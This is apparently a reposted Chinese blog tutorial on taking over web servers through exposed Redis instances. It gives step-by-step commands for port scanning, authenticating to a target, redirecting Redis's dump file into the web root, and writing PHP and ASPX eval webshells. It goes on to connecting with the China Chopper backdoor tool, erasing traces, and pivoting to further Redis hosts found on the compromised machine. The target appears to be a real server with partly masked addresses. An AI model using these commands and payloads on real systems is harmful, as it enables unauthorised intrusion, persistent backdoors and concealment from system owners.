Redis账号获取webshell实战

Redis账号获取webshell实战
1.扫描某目标服务器端口信息
通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图1所示,获取两台开放该端口的服务器。
在这里插入图片描述
图1扫描同网段开放该端口的服务器
2.使用telnet登录服务器
使用命令“telnet ip port”命令登录,例如telnet 1**...76 3357,登录后,输入auth和密码进行认证。
3.查看并保存当前的配置信息。
通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。

config get dir
config get dbfilename

4.配置并写入webshell
(1)设置路径

config set dir E:/www/font

(2)设置数据库名称
将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。

config set dbfilename redis.aspx

(3)设置webshell的内容
根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。

set webshell "<?php phpinfo(); ?>" 
 //php查看信息
set webshell "<?php @eval($_POST['chopper']);?> " 
 //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"

(4)保存写入的内容

save

(5)查看webshell的内容

get webshell

完整过程执行命令如图2所示,每一次命令显示“+OK”表示配置成功。
在这里插入图片描述
图2写入webshell

  • 测试webshell是否正常
    在浏览器中输入对应写入文件的名字,如图3所示进行访问,出现类似:
    “REDIS0006?webshell’a@H搀???”则表明正确获取webshell。
    在这里插入图片描述
    图3测试webshell是否正常
    6.获取webshell
    如图4所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
    在这里插入图片描述
    图4获取webshell
    7.恢复原始设置
    (1)恢复dir

    config set dir dirname

(2)恢复dbfilename

config set dbfilename dbfilename

(3)删除webshell

del webshell

(4)刷新数据库

flushdb

8.完整命令总结

telnet 1**.**.**.31 3357
auth  ******
config get dir
config get dbfilename
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a

9.查看redis配置conf文件
通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图5所示,可以看到路径、端口、密码等信息。
在这里插入图片描述
图5查看redis
更多攻防内容请欢迎访问本人在csdn上面创造的个人专栏:
密码安全攻防技术精讲》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

猜你喜欢

转载自blog.csdn.net/weixin_44023460/article/details/84898635